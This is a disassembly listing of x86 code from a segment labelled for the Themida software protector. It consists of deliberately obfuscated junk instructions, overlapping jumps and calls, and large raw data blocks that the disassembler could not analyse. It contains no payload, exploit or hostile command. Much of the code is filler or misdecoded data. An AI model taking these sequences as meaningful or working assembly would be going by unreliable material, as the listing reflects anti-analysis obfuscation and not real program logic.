sub_603D3D proc near ; CODE XREF: sub_603D14+1Fp
mov di, dx
pop edi
mov eax, 773FCAB3h
pusha
add ebx, 5A852E92h
popa
jmp loc_603D5D
; ---------------------------------------------------------------------------
mov edx, 0F3213FEDh
push edi
cmp al, 98h
jnp short loc_603D2A
loc_603D5D: ; CODE XREF: sub_603D3D+11j
ja loc_603D66
movzx edx, dx
loc_603D66: ; CODE XREF: sub_603D3D:loc_603D5Dj
clc
xor di, 0DF17h
adc edi, 4D561B8Fh
and cx, 0B0Dh
call loc_603D8B
faddp st(6), st
in al, 48h
mov dl, 0B5h
mov dl, 0
les ecx, [esi]
sbb [ecx], esp
test [edx+edx*2], ebx
sub_603D3D endp ; sp-analysis failed
loc_603D8B: ; CODE XREF: sub_603D3D+3Ap
mov eax, esi
pop esi
xor eax, 59FBD0F9h
pusha
jbe loc_603D9C
cld
loc_603D9C: ; CODE XREF: Themida_:00603D95j
popa
call sub_603DB1
; ---------------------------------------------------------------------------
dw 0FE26h
dd 55542166h, 0A7ACF1CFh, 0EF4114AEh
db 31h
; =============== S U B R O U T I N E =======================================
sub_603DB1 proc near ; CODE XREF: Themida_:00603D9Dp
pop eax
call sub_603DC7
sbb dh, [ecx-7A3335D8h]
sbb [esi+18160696h], ebp
adc esp, ebp
wait
xchg eax, ebp
sub_603DB1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_603DC7 proc near ; CODE XREF: sub_603DB1+1p
; FUNCTION CHUNK AT 00603E4B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00603E78 SIZE 0000001F BYTES
sbb al, 0DDh
pop esi
pusha
mov eax, 8F0B2CBh
stc
popa
mov cx, ax
mov esi, ecx
call near ptr loc_603DE3+1
mov ecx, eax
fistp dword ptr [ecx]
xor al, 0D9h
loc_603DE3: ; CODE XREF: sub_603DC7+11p
loop loc_603E4B
sub_603DC7 endp ; sp-analysis failed
sub esi, 815E47B0h
enter 4FDEh, 0F9h
add [esi-7Fh], ah
jmp far ptr 0E9D6h:0BF0F2BBDh
; ---------------------------------------------------------------------------
db 0Fh, 2 dup(0)
dd 0AF147C00h, 0A8DEA475h, 0EA17D9C3h, 50579785h, 12E9h
dd 0C3DD3400h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh, 810034DAh
dd 0EDDFFCEAh, 3EBB603Ch, 6178463Ch, 0FB0A46BBh, 0DFB70F3Dh
dd 43BA66F9h, 8A0FF881h, 9, 38E0Fh
db 2 dup(0), 66h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_603DC7
loc_603E4B: ; CODE XREF: sub_603DC7:loc_603DE3j
mov edi, edx
pusha
mov esi, eax
mov edi, 637C7E18h
popa
mov eax, edi
adc si, 31A3h
push edx
or si, 0ED98h
pop edi
stc
jmp loc_603E78
; END OF FUNCTION CHUNK FOR sub_603DC7
; ---------------------------------------------------------------------------
dw 8AE2h
dd 0D6D5EA07h, 1FAABE1Bh, 7370850h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_603DC7
loc_603E78: ; CODE XREF: sub_603DC7+9Ej
mov cx, di
mov edi, ebx
mov eax, ecx
mov edx, ebx
pusha
stc
add edx, 57CFBB0h ; CODE XREF: sub_603EBE+25j
popa
mov di, bx
call sub_603E97
xor bh, [edi]
sbb al, 2Ch
push ecx
; END OF FUNCTION CHUNK FOR sub_603DC7
; =============== S U B R O U T I N E =======================================
sub_603E97 proc near ; CODE XREF: sub_603DC7+C6p
mov dl, 0F2h
pop esi
mov edx, 778B8B23h
movzx esi, ax
mov esi, 0B801831h
pusha
mov si, ax
mov cl, 0F8h
popa
pusha
call sub_603EBE
pop ebx
pushf
wait
add bh, [ebx+4D45C334h]
xchg eax, ebx
sub_603E97 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_603EBE proc near ; CODE XREF: sub_603E97+18p
jo $+6
pop edi
mov dh, 17h
popa
jbe loc_603ED1
mov ax, dx
loc_603ED1: ; CODE XREF: sub_603EBE+Aj
mov esi, 5225A380h
pusha
ja near ptr loc_603EEE+4
call near ptr loc_603EEE+3
pop es
jp short near ptr loc_603E83+2
cmp bl, ah
push ebx
db 66h
sub al, 0E3h
mov gs, sp
std
loc_603EEE: ; CODE XREF: sub_603EBE+1Fp
; sub_603EBE+19j
cmp ds:8166605Fh[ecx*8], ch
sub_603EBE endp ; sp-analysis failed
neg byte ptr [esi]
push edi
mov edi, 641D3ED8h
popa
popa
jmp loc_603F14
; ---------------------------------------------------------------------------
adc dl, ah
push ds
rcr dword ptr [ecx], cl
mov esp, 8A495425h
cmp al, 0DDh
pop ebx
test ah, al
dec esp
loc_603F14: ; CODE XREF: Themida_:00603EFFj
mov ah, dh
call sub_603F25
loop near ptr loc_603F8A+1
sar byte ptr [edi+15h], cl
fstp9 st(3)
iret
; ---------------------------------------------------------------------------
cmpsd
wait
; =============== S U B R O U T I N E =======================================
sub_603F25 proc near ; CODE XREF: Themida_:00603F16p
movsx edi, cx
pop esi
sub cx, 224Ah
clc
stc
jmp loc_603F49
; ---------------------------------------------------------------------------
or dl, 0D4h
div byte ptr [edi-65CD727Eh]
mov cl, 0A8h
sbb al, 27h
adc ebp, ebp
db 64h
aas
pop esi
retn
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
loc_603F49: ; CODE XREF: sub_603F25+Bj
mov si, di
adc ch, 0C6h
mov al, bl
mov cx, 8D08h
add bx, 7B23h
mov dl, bh
mov ax, 2251h
mov dh, 80h
movsx ecx, di
stc
js loc_603F73
push esi
mov edx, 30BAFFD3h
pop edi
loc_603F73: ; CODE XREF: sub_603F25+41j
movzx esi, bx
jmp loc_603F85
; ---------------------------------------------------------------------------
db 0C1h
dd 977B4A7Fh, 9874E1FDh
; ---------------------------------------------------------------------------
inc ebx
loc_603F85: ; CODE XREF: sub_603F25+51j
adc di, 27F0h
loc_603F8A: ; CODE XREF: Themida_:00603F1Bj
jmp loc_603F9E
; ---------------------------------------------------------------------------
fisttp qword ptr [ecx-3F0948E6h]
xchg eax, edx
push 0FFFFFFE3h
lodsb
cdq
xchg eax, ecx
sbb [edx+42h], edx
loc_603F9E: ; CODE XREF: sub_603F25:loc_603F8Aj
clc
mov bx, 27Ch
add ax, 42A0h
jmp loc_603FBE
; ---------------------------------------------------------------------------
db 61h, 3Bh, 7Ch
dd 0B66F87E7h, 52029001h, 0A3BF81DDh
db 5Ah, 0
; ---------------------------------------------------------------------------
loc_603FBE: ; CODE XREF: sub_603F25+83j
mov si, dx
jmp loc_603FD1
; ---------------------------------------------------------------------------
dw 3A63h
dd 56FB4DBDh, 0F1F35B22h
db 8
; ---------------------------------------------------------------------------
loc_603FD1: ; CODE XREF: sub_603F25+9Cj
mov eax, edx
mov si, 0E0AFh
jmp loc_603FF0
; ---------------------------------------------------------------------------
dd 0BAF8E855h, 64B21132h, 788360CAh, 6A767FDDh, 601FBA2Fh
; ---------------------------------------------------------------------------
loc_603FF0: ; CODE XREF: sub_603F25+B2j
mov esi, edx
movzx ecx, si
jmp loc_60400B
; ---------------------------------------------------------------------------
dw 7332h
dd 0E02D2768h, 0D61BEE5Fh, 31263751h
db 53h, 0E5h, 0DBh
; ---------------------------------------------------------------------------
loc_60400B: ; CODE XREF: sub_603F25+D0j
pusha
mov ax, 27h
jg $+6
popa
mov ebx, 3F4202F2h
xor si, 0B055h
push ebx
jmp loc_604037
; ---------------------------------------------------------------------------
db 0A9h
dd 593BEC2Ch, 0DF0E522Dh, 7587AD1Ah
db 0Ch, 65h, 0Dh
; ---------------------------------------------------------------------------
loc_604037: ; CODE XREF: sub_603F25+FDj
pop ebx
jns loc_60403F
stc
loc_60403F: ; CODE XREF: sub_603F25+113j
; sub_604095+1Bj
jmp loc_60404D
; ---------------------------------------------------------------------------
dd 7CDFA005h, 7B0E762Bh
; ---------------------------------------------------------------------------
stosd
loc_60404D: ; CODE XREF: sub_603F25:loc_60403Fj
call near ptr loc_604053+4
insb
loc_604053: ; CODE XREF: sub_603F25:loc_60404Dp
mov ebp, 5B045A9Fh
sub_603F25 endp ; sp-analysis failed
cmc
jmp loc_604069
; ---------------------------------------------------------------------------
cmp [edi+7Bh], bh
mov ah, [esi-73DB0B64h]
xor al, 0E2h
loc_604069: ; CODE XREF: Themida_:00604059j
and edx, 0F2007EDh
adc edi, 1374F706h
push edi
mov si, ax
pop ecx
push esi
pop esi
call sub_604095
shr dword ptr [eax], 1
jmp far ptr 0B923h:82A580B0h
; ---------------------------------------------------------------------------
dw 0E3A2h
dd 379C97E4h, 9C10848Bh
db 3Eh
; =============== S U B R O U T I N E =======================================
sub_604095 proc near ; CODE XREF: Themida_:0060407Cp
mov si, cx
pop ebx
clc
jmp loc_6040A7
; ---------------------------------------------------------------------------
and [edi-64C2A562h], ebx
lea esi, [ecx]
loc_6040A7: ; CODE XREF: sub_604095+5j
or ah, 0Bh
push ecx
call near ptr loc_6040BD+1
jns short near ptr loc_60403F+3
push 79h
arpl di, dx
mov edx, 0D9A4AE77h
mov dl, 0BCh
loc_6040BD: ; CODE XREF: sub_604095+16p
adc al, 0E9h
sub_604095 endp ; sp-analysis failed
sldt word ptr [eax]
add [edi+2Dh], bh
sub [esi-0AE4DCFCh], dh
or [eax-2D5DD126h], edx
jmp short loc_60412B
; ---------------------------------------------------------------------------
db 5Ah
dd 0F37953BFh, 75E2815Fh, 0E83A76A3h, 0Ah, 973CE4AAh, 0DBB3EC84h
dd 53562373h, 0F5B5A5Eh, 0B88h, 5880F00h, 0B9000000h, 5FDFA7DCh
dd 0A3C68166h, 7E8CDh, 0CEE90000h, 0A121DD32h, 84E2810Fh
dd 5B058366h, 5E8h, 62FE0A00h, 870F98DAh
db 5, 2 dup(0)
; ---------------------------------------------------------------------------
loc_60412B: ; CODE XREF: Themida_:006040D1j
add [esi-7Fh], ah
shl byte ptr [esi], 0FBh
pop ebx
jnb loc_604157
call sub_604150
and al, 8Eh
out dx, eax
in al, 0E3h
xchg cl, [edi+6Ah]
push ds
jmp near ptr 484374EDh
; ---------------------------------------------------------------------------
db 32h
dd 8744395Ch
; =============== S U B R O U T I N E =======================================
sub_604150 proc near ; CODE XREF: Themida_:00604138p
jbe $+6
pop esi
loc_604157: ; CODE XREF: Themida_:00604132j
mov ax, 9B88h
adc bl, 5Eh
push edx
mov ax, cx
pop eax
mov dx, 877Fh
mov si, 0ED06h
movsx edx, dx
mov edi, 2A4B1907h
and esi, 8D9D7A5h
call sub_60418E
imul edi, [edi+esi+6Bh], -78h
sbb edi, [eax]
sub bh, dl
movsb
cmc
fdiv qword ptr [edx+esi*4]
or edi, esi
sub_604150 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60418E proc near ; CODE XREF: sub_604150+29p
mov edi, edx
pop ebx
mov ebx, 4322B395h
mov eax, 292E3B84h
call near ptr loc_6041B0+1
mov [ebx-54h], edi
icebp
xor edi, [eax-13h]
lds edi, [ecx-17C53B94h]
aaa
out 98h, eax
loc_6041B0: ; CODE XREF: sub_60418E+Dp
cmp al, 0E9h
sub_60418E endp ; sp-analysis failed
adc eax, [eax]
; ---------------------------------------------------------------------------
dd 0DBB20000h, 0EF9BE7D0h, 3D4E3B2Bh, 0C5EBEE7h, 0AD244384h
dd 0BA5158E1h, 18EEC5F9h, 605E5058h, 0AABAD5B9h, 8B666073h
dd 0C68166FAh, 616159FEh, 0AE9E28Ah, 47000000h, 5A6FFBE4h
dd 0C33E53B4h, 66F38A17h, 8166D18Bh, 0F1946EFh, 383h, 0C7B70F00h
dd 52D68B66h, 4E8ABB66h, 94F6815Eh, 81465CB6h, 28B939E0h
dd 0DF8B6642h, 0B9D0BF0Fh, 6AC3CA39h, 17E08166h, 800FD4h
dd 50000000h, 6059DA8Bh, 5E9h, 0DC1C0F00h, 5260B72Dh, 6161F85Eh
dd 4820Fh, 0B8660000h, 870F0CEDh, 2, 0D68BCE8Bh, 18E0FF5h
dd 0FC000000h, 188D0Fh, 0E9570000h, 11h, 71713CFEh, 6A5F3C6Ch
dd 131A6DCEh, 4B9213EFh, 0E2815B69h, 0FECBD1Bh, 0FD98B66h
dd 58Ah, 0F0816600h, 0B70FD3DBh, 5820FDFh, 0BF000000h
dd 6CE2842Ah, 0D9B3D781h, 8AF87108h, 605256FAh, 66595861h
dd 0F3CE9B8h, 6660F1BFh, 6F11DA81h, 61E0C780h, 6860Fh
dd 0F0810000h, 209F984h, 81D78B66h, 6E8944CAh, 8166F827h
dd 0E9D510CBh, 6, 9C869EB3h, 0F381B0D4h, 1D4D2491h, 0EFCB8166h
dd 8C0F48h, 80000000h, 13E8B3CFh, 0D4000000h, 1565A4EAh
dd 767E14CDh, 31281E1Bh, 11A7459Dh, 5FF9B36Dh, 665AF850h
dd 0CE9CF8Bh, 89000000h, 1F4286ECh, 0F0A010B8h, 0F257CC1h
dd 8Ah, 0DE8B6600h, 0AE9h, 0BD33000h, 65C88403h, 0E9FDD031h
dd 5, 9254BCEh, 93DB8060h, 8463F3BFh, 9E954h, 83EC0000h
dd 22D84564h, 60F8133Dh, 0AE9h, 39FE0300h, 0BD960706h
dd 0F3EC9B1h, 689h, 8E0F00h, 61000000h, 7F2295B8h, 6E904h
dd 0F8510000h, 0C907FFDDh, 0DE9h, 0BFB39000h, 32E88FE5h
dd 69137C67h, 0EE9A6B3h, 0C000000h, 5584719h, 3E73082Ch
dd 0CB56F263h, 13E9D2h, 77E60000h, 1D814B0Ah, 8BA98004h
dd 4F231846h, 0BC7F6321h, 0FCD681D3h, 66053CB3h, 0BB66F18Bh
dd 0CF81B21Ch, 739E4211h, 0C266BF66h, 58C0Fh, 81660000h
dd 0E99448E1h, 8, 62C745FDh, 1A7F1189h, 14E8F5h, 0BE3D0000h
dd 0A2BA8854h, 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 0C480396Eh
dd 0E9F8591Bh, 14h, 14D235D4h, 0B1CE6615h, 359E40B4h, 63540764h
dd 986AF9C0h, 0CE8h, 0BEE86B00h, 68354A59h, 0B6CCED09h
dd 38B0F90h, 80000000h, 0B8584DD4h, 502038A5h, 4ECE3EBFh
dd 0C781663Ch, 13E91C9Fh, 82000000h, 141AD47Eh, 71088A9Dh
dd 1D935C5h, 4B28C851h, 9E81BEFh, 0BF000000h, 647E926Ch
dd 541B94D6h, 463B966h, 8B0F5258h, 6, 8B0Fh, 0F5F0000h
dd 0FE9FEB7h, 5000000h, 5EA3A396h, 0B286DC5Fh, 38C9F333h
dd 10E99FD8h, 0C5000000h, 0D309B6E7h, 99DEB772h, 0BA1B9203h
dd 0B43C5073h, 5502B87Dh, 13E91215h, 0F0000000h, 22CFB0FFh
dd 21EC921Ah, 0E21F2C22h, 27EBCEC0h, 8B0FF0F6h, 2, 0E96075B2h
dd 9, 5D3CA49h, 8DE953F5h, 0B70F6187h, 8E956F1h, 5B000000h
dd 0DAEDEF2h, 5E374E55h, 8166AEB4h, 0F1ABCCEh, 48Eh, 14BE6600h
dd 0F565083h, 8Ch, 0FC585E00h, 0ABDB8160h, 0B9055D9Bh
dd 2A4AAD66h, 66CE8B61h, 22AFEB81h, 0BE8h, 0F8F4200h, 0BFCF83C5h
dd 60F9A6E1h, 0DD9CD4BAh, 2FB25E6Fh, 6E8h, 60FB0700h, 66D09D8Ah
dd 0F30C781h, 0B856605Eh, 56A0BE55h, 0D181605Bh, 6F89E779h
dd 8E8h, 20E33E00h, 0CC5412BBh, 61615A6Fh, 12C78166h, 80E38A9Ah
dd 0BF66C8C6h, 850F7EFEh, 0Ah, 0F616060h, 8Fh, 8B666100h
dd 0B6BE66CFh, 0B850F23h, 0E9000000h, 6, 4795E409h, 8B937C4h
dd 661BD001h, 8242C681h, 58DA8B57h, 0F6BD180h, 182h, 6E9FC00h
dd 9C000000h, 0B32535B9h, 9E9A2h, 8A9D0000h, 35C57108h
dd 0FC5101D9h, 0CE9CB8Bh, 64000000h, 70C4F2D9h, 90AF4933h
dd 0F567200h, 58Dh, 0C0816600h, 0CE96068h, 0F2000000h
dd 5FC0D932h, 1A25C20Eh, 0E9C578DBh, 5, 5196D32Dh, 0BB666077h
dd 8B665F19h, 59BF61F1h, 665C29F3h, 12E8F18Bh, 52000000h
dd 0A38119AEh, 5736BAB4h, 593499E9h, 0AC1D99B0h, 0CB816653h
dd 815B6A9Bh, 6F17DAC6h, 0D681664Eh, 0B966FA5Eh, 0DA8B5992h
dd 158B0Fh, 10E90000h, 2E000000h, 87ABFDF1h, 59E61893h
dd 77283422h, 0E912EF0Ch, 12h, 61BF4F81h, 67261554h, 737D13D0h
dd 87A9F9Dh, 0D3BA24C1h, 8A76299Dh, 73D780E3h, 7E9F88Bh
dd 0
dd 0D786BBA4h, 81663647h, 0F6E28EAh, 1F8Dh, 198E0F00h
dd 0E8000000h, 13h, 0A6941399h, 0F4ED61F6h, 3260D337h
dd 0CE76EB6Fh, 5EE48A81h, 61DDC681h, 0BF0F124Ah, 14E9DBh
dd 7FA60000h, 6ED57299h, 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h
dd 0B70F1D96h, 8AE78ADBh, 7810FEFh, 50000000h, 0A7FB4DBBh
dd 8B665A2Dh, 0A9E980DFh, 0DE8h, 3C2E0C00h, 8864E881h
dd 23EB6A2Ah, 77B9B130h, 5F38356Eh, 0BE8h, 0CB144800h
dd 0A41F1EE8h, 0C346C478h, 3840Fh, 8B660000h, 5E958C7h
dd 53000000h, 36C4689Ah, 0F05882BBh, 0F18B662Ah, 0E0FDE881h
dd 77B67561h, 6850Fh, 0DA810000h, 69605CDAh, 14E8h, 0F5DB5D00h
dd 570E5AC9h, 0A4FF44F1h, 172B6BD8h, 1558B79Ch, 12E842h
dd 18ED0000h, 0B3A269F0h, 833567B1h, 829AADFFh, 0CF400BD2h
dd 40FEBA66h, 0EB815A5Eh, 5962D179h, 0DE9h, 83AE400h, 511CF201h
dd 6361541Dh, 5E8073Fh, 0E8000000h, 0E983DF0Dh, 5E8h, 5D9C4500h
dd 42BF6D2Ah, 5E7637DAh, 24B9605Fh, 6147E0A9h, 0BE860F5h
dd 6C000000h, 5388B34Bh, 95D85EB2h, 0F5BF2693h, 5E241131h
dd 8A615F52h, 0F8FB1C7h, 88h, 0E9CF8B00h, 11h, 0E8A88DF0h
dd 863ECCD5h, 2915B93Ch, 0DA2A9865h, 98F48050h, 6597BF66h
dd 10E8h, 0E4C09800h, 82DD2DD2h, 0EC430C2Bh, 0B66B9560h
dd 0FFBF6675h, 0F605E5Bh, 0E681FEB7h, 719472Ah, 17EB8161h
dd 6008A434h, 40DB8166h, 15DE8175h, 61163242h, 12E8CF8Bh
dd 5F000000h, 13626145h, 7B52A837h, 8646E1DFh, 727BC774h
dd 0CE90Fh, 0D1D50000h, 0C10DC266h, 5CA0CCF7h, 505FD3C7h
dd 5149F081h, 0E9584B0Eh, 0Bh, 552E9756h, 3BD21261h, 0F543B1B7h
dd 6410BA66h, 0CE8h, 999A8A00h, 1AAF7307h, 8A19D9DDh, 6870F6Ch
dd 0F000000h, 87h, 0FF55B00h, 8B66FEB7h, 0F38166D8h, 800F3C1Ch
dd 19h, 14E9h, 709DEA00h, 33ED6672h, 423A8694h, 0F9BAB94Bh
dd 155062CCh, 8F0F8Ah, 0E8000000h, 7, 11C73A4Dh, 0E9768E0Dh
dd 0Fh, 30B5485Dh, 44808933h, 0F72B8B5Ch, 58DFEB86h, 0A46F2BBFh
dd 0DE85Eh, 0ACCB0000h, 48F295E1h, 0E8F01160h, 665EA9CDh
dd 0E958DF8Bh, 0Fh, 0A7C0D1C7h, 0ECD4F8E2h, 898D8323h
dd 0B99BC86Ah, 5876F005h, 2830Fh, 0B2B30000h, 68C0F60h
dd 0F000000h, 8Ch, 0CF816600h, 8161DDC1h, 9CAC48C7h, 0EDDB813Ch
dd 5621D68Bh, 8B58FE8Ah, 0C2DE81C2h, 0F90D4D57h, 0E8C1B70Fh
dd 13h, 0ED479472h, 1345414Ah, 0D9F6EE80h, 989D42CCh, 0E8228DF2h
dd 12h, 3D7E7D34h, 0AC35D657h, 2DC7862Bh, 3C307880h, 5F5BD323h
dd 4810Fh, 60560000h, 12E95861h, 0
dd 0F55A66D9h, 0A6451232h, 6198F245h, 0C2E6C3BFh, 3840F8Dh
dd 0F000000h, 8A0FC8B7h, 4, 5BDA8A57h, 7E9h, 8B5FA300h
dd 814288ECh, 604CD380h, 0FC26E580h, 0AE961h, 94600000h
dd 1A237BDh, 0F19C39C4h, 5E9h, 0F36EC500h, 0B656D91Ah
dd 0C18B586Bh, 118E0Fh, 5E80000h, 0E2000000h, 2F6DD56Bh
dd 0B8FFC881h, 66591810h, 0D413E981h, 0FCEB70Fh, 0A8Bh
dd 5E900h, 1A3F0000h, 8BEA890Dh, 98F0FCFh, 0F000000h, 385h
dd 0DBB70F00h, 0AE950h, 0D7100000h, 2519B21h, 0E0FE9849h
dd 2850F59h, 8A000000h, 0AE956F7h, 0F9000000h, 827BB7B5h
dd 0CE7F25A9h, 8E959E8h, 6000000h, 0AD381A9h, 661FA6DFh
dd 1E35DE81h, 0CEBFBAB6h, 601BD540h, 784B866h, 61F3BF0Fh
dd 14E9F8h, 0C50F0000h, 0E1BFCF83h, 9860F9A6h, 0BD1E565Fh
dd 0D78A12C9h, 0BF0FFF9Bh, 0FED781FFh, 6674B616h, 0E9B895BEh
dd 0Dh, 98115843h, 9940E536h, 0DDEA9F4Dh, 92D18169h, 606E8EA2h
dd 0F5C8BF0Fh, 0B866FC61h, 13E90586h, 1F000000h, 60F7A04h
dd 87EB6E8Dh, 18F16353h, 8E456AE4h, 10E9503Eh, 0E0000000h
dd 0C45D7E9Dh, 15A1A795h, 24BA5261h, 0B10A2F7Ah, 0C28B66D6h
dd 6097F280h, 4860Fh, 0B8660000h, 0BF0F67E8h, 0C28B61C6h
dd 2890F57h, 8A000000h, 0C78B5AC5h, 0FCDFBF0Fh, 8303BB66h
dd 0FA16EB81h, 8B6635BEh, 0E9F2B7FEh, 6, 376DADF8h, 5EB96ED2h
dd 0F675591h, 480h, 24BE6600h, 66DD8AFBh, 669F0EB8h, 8B5F1DBFh
dd 0D08B66F3h, 272EB866h, 0BE8h, 9CAD6100h, 684FF425h
dd 1F0B5F23h, 2DD0F381h, 665A6F73h, 8B6A2BBEh, 8B6660D7h
dd 0C6B7B9DAh, 0F615184h, 89h, 0AE900h, 12460000h, 0B8E2E731h
dd 6B9AECFDh, 13E8h, 26082900h, 671AD93Ch, 23A9A814h, 961EA16Eh
dd 9DF891F6h, 5F5BF557h, 158E0Fh, 10E90000h, 0F5000000h
dd 73B32479h, 0A0A75E7Bh, 527ED8A1h, 0FFC7161h, 988h, 38D0F00h
dd 0F000000h, 5FBFFBB7h, 0B92EA171h, 11FC9009h, 0E911FFBAh
dd 5E92Fh, 87840000h, 813F18E2h, 725104F2h, 94BA660Ch
dd 0E9A5B6DCh, 14h, 0EE8F3B4Ah, 35381C0Bh, 0A5CB8FDEh
dd 539721BBh, 1C870B3h, 0E7D88166h, 0FA8B66C6h, 0FF3B70Fh
dd 387h, 0F88B6600h, 9E9h, 157C1100h, 0FEA2A21Eh, 0B70FC2CAh
dd 0B131BFC2h, 0BF0F774Ch, 0BA66F9C3h, 0CA818872h, 156406DCh
dd 0A8D0Fh, 0F600000h, 8Ah, 61C18A00h, 8BD1B70Fh, 0F08166F3h
dd 0B966AC35h, 0BE96AF5h, 6A000000h, 0B0B4619Fh, 7B45196Ah
dd 81666578h, 0E995A0CBh, 14h, 0CBD5D162h, 0D70FB1CBh
dd 3E22CB86h, 7FD12C9Ch, 5FD93DAh, 0F02EB80h, 2089h, 1A810F00h
dd 0E8000000h, 14h, 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h
dd 3F9EEA16h, 0BE06BB5Eh, 8A0F4D51h, 3, 0E973C980h, 0Ah
dd 0DAF9CAFh, 4F03844Ch, 8B66EF01h, 0CE8F2h, 92850000h
dd 8A0F4EFDh, 4C979402h, 9CB5C136h, 515CB159h, 0F210BF66h
dd 6BB86658h, 0F18166C8h, 8F0F5858h, 0
; ---------------------------------------------------------------------------
call sub_604D46
aaa
add ecx, 0Dh
mov esi, 0C2FDBE24h
; =============== S U B R O U T I N E =======================================
sub_604D46 proc near ; CODE XREF: Themida_:00604D38p
cmc
pop edx
jg loc_604D60
jmp loc_604D60
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
cmp al, 38h
aad 1Ch
retn 389Bh
; ---------------------------------------------------------------------------
db 0AAh
dd 8D4A41C9h
; ---------------------------------------------------------------------------
loc_604D60: ; CODE XREF: sub_604D46+2j
; sub_604D46+8j
mov al, 81h
cmc
movsx esi, bx
add bh, 9Ah
jns loc_604D70
cmc
loc_604D70: ; CODE XREF: sub_604D46+23j
mov si, ax
sbb edi, 68270DAh
call loc_604D88
cmp [ecx+edi*8-41023D0Ah], dh
adc al, 11h
pop esp
sub_604D46 endp ; sp-analysis failed
loc_604D88: ; CODE XREF: sub_604D46+33p
pop eax
jnz loc_604D92
mov bx, ax
loc_604D92: ; CODE XREF: Themida_:00604D89j
mov dx, 0D068h
movzx eax, dx
clc
pusha
mov bx, 204Ch
movzx ecx, ax
popa
jp loc_604DAB
mov esi, eax
loc_604DAB: ; CODE XREF: Themida_:00604DA3j
pusha
jmp loc_604DC4
; ---------------------------------------------------------------------------
db 0E8h, 5Bh, 0A1h
dd 0C0F19B81h, 4CE9E007h, 0F85D8A20h, 0A29D7C59h
; ---------------------------------------------------------------------------
loc_604DC4: ; CODE XREF: Themida_:00604DACj
jmp loc_604DD4
; ---------------------------------------------------------------------------
db 4Ch, 87h, 0FAh
dd 5A29A01Fh, 6FD868EEh
; ---------------------------------------------------------------------------
loc_604DD4: ; CODE XREF: Themida_:loc_604DC4j
popa
movzx edx, dx
mov bx, 2220h
xor esi, 68F7EA6Fh
mov ebx, 26A42692h
mov ah, 79h
cld
and edi, 33DC585h
cmc
jmp loc_604DFC
; ---------------------------------------------------------------------------
test eax, 9727F27Ah
leave
loc_604DFC: ; CODE XREF: Themida_:00604DF1j
clc
mov bh, 0ABh
mov dh, 3Eh
call sub_604E12
; ---------------------------------------------------------------------------
dw 95FEh
dd 2DEC9E19h, 0A384EC47h
db 49h, 0BFh
; =============== S U B R O U T I N E =======================================
sub_604E12 proc near ; CODE XREF: Themida_:00604E01p
call loc_604E22
add bl, [eax-11BAF56Fh]
and esp, ecx
sub ah, [esi]
into
sub_604E12 endp ; sp-analysis failed
loc_604E22: ; CODE XREF: sub_604E12p
add ax, 52ABh
pop esi
pop ecx
mov dx, 314Bh
adc edx, 443C58BBh
mov edi, 40CF8E44h
mov eax, edi
pusha
jmp loc_604E4B
; ---------------------------------------------------------------------------
dd 5CBDC32Ch, 0B159332h
db 0DDh, 0C0h, 33h
; ---------------------------------------------------------------------------
loc_604E4B: ; CODE XREF: Themida_:00604E3Bj
call near ptr sub_604E56
; ---------------------------------------------------------------------------
dd 0B37DD362h
db 0FAh, 0B3h
; =============== S U B R O U T I N E =======================================
sub_604E56 proc far ; CODE XREF: Themida_:loc_604E4Bp
mov dh, cl
pop ecx
popa
mov al, dh
adc si, 0AAF0h
jmp loc_604E77
; ---------------------------------------------------------------------------
fcmovne st, st(2)
cmp eax, 0DF45450Bh
retf
; ---------------------------------------------------------------------------
dw 0CDD5h
dd 99A55154h
db 78h, 63h, 4
; ---------------------------------------------------------------------------
loc_604E77: ; CODE XREF: sub_604E56+Bj
jmp loc_604E8E
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dw 0EC12h
dd 125EECA1h, 2AB413B9h, 0EAB696DEh
db 3Eh, 14h
; ---------------------------------------------------------------------------
loc_604E8E: ; CODE XREF: sub_604E56:loc_604E77j
clc
mov edi, eax
mov edx, edi
mov cl, al
call sub_604EAA
dec ecx
db 67h
sbb eax, 97EE631Ah
mul al
into
retf
sub_604E56 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6Ah, 22h, 0E7h
db 9Dh, 6Bh
; =============== S U B R O U T I N E =======================================
sub_604EAA proc near ; CODE XREF: sub_604E56+3Fp
push ecx
or di, 7Dh
pop edi
pop edi
mov ah, 0CEh
call near ptr loc_604EC8+1
imul edi, [ebx], 733714A4h
fucomip st, st(1)
push ecx
pusha
xor ch, 60h
add al, 0A5h
loc_604EC8: ; CODE XREF: sub_604EAA+Ap
fisub word ptr [esi-7Fh]
sub_604EAA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0DBh
dd 665AD2E7h, 0DDAFCF81h, 0FE8h, 14E7700h, 0F745EDF8h
dd 2994AC70h, 5BED1E46h, 8F0Fh, 8A580000h, 7436BAF9h, 0B70F0024h
dd 0FC28BC9h, 0BF0FF3B7h, 0B5B966D0h, 8166573Ch, 5BA1F4E7h
dd 0F07BB66h, 810F5CB6h, 4, 3182B966h, 45D706B9h, 0D38B6619h
dd 0CE9h, 0B64ED200h, 7F73D7D2h, 0B660770Ch, 8B5652CCh
dd 665E5EFBh, 0E90422BAh, 0Bh, 2C348606h, 980A1249h, 66DABD09h
dd 8783CA81h, 11E9h, 0E8BC0600h, 0EB093ED9h, 75EAA7F8h
dd 79DCA871h, 16B8255Dh, 0E91559F9h, 12h, 9BEC8CDCh, 0DDC776B2h
dd 0C5D42F64h, 0DBC60F3Ah, 0E9516084h, 0Ah, 8DE7521Ch
dd 2D6E5745h, 0E85FA3A1h, 0Dh, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h
dd 48F0F82h, 66000000h, 5E673EB9h, 9E8h, 7C3F5200h, 9FBB0B8Bh
dd 5BF86748h, 0EE9h, 0A7399100h, 2D5E41D5h, 0B435EED1h
